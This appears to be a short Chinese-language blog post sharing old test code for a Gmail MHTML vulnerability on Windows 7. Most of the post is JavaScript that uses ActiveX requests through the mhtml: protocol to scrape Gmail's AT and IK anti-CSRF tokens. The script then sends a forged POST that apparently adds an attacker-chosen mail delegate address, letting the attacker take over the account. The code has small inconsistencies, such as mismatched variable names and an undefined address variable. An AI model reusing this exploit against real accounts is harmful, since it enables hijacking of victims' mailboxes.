好久沒更新博客了,翻到一段Win7下GMAIL MHtml漏洞的測試代碼 ,最後寫好的完整版不知道丟哪去了 - -!
MHtml漏洞在Win7下要發起AJax請求,不像XP直接請求HTTP協議就可以了,請求的URL必須也在MHtml協議裡,否則沒有權限,Win7下同源策略貌似比XP嚴格?不知道有人注意到這個細節沒有。
要攻擊GMAIL進行相關權限的CSRF,必須取到AT和IK兩個參數才可以成功,當然取這兩個參數的方法很多,可以從COOKIE裡取也可以從頁面直接取,下面的代碼直接從頁面裡取了。
xmlHttp=new ActiveXObject("Microsoft.XMLHttp");
XMLHttp.open("GET","mHtml:https://mail.google.com/mail/h/0/",true);
XMLHttp.send();
XMLHttp.onreadystatechange = function() {
if (XMLHttp.readyState == 4) {
if (XMLHttp.status == 200) {
REX = /href=\".*?at=(.{34})\">/.exec(XMLHttp.responseText);
AThash = RegExp.$1;
XMLHttp.open("GET","mHtml:https://mail.google.com/mail/",true);
XMLHttp.send();
XMLHttp.onreadystatechange = function() {
if (XMLHttp.readyState == 4) {
if (XMLHttp.status == 200) {
REX = /GLOBALS=\[.*?,"(.{10})",/.exec(XMLHttp.responseText);
IKhash = RegExp.$1;
XMLHttp.open("POST","mHtml:https://mail.google.com/mail/?ui=2"+"&ik="+IKhash+"&vIEw=mdlg&at="+AThash,true);
XMLHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XMLHttp.send("mdrp=1&mda=%0D%0A"+Tmail+"%0D%0A");
}
}
}
}
}
}
}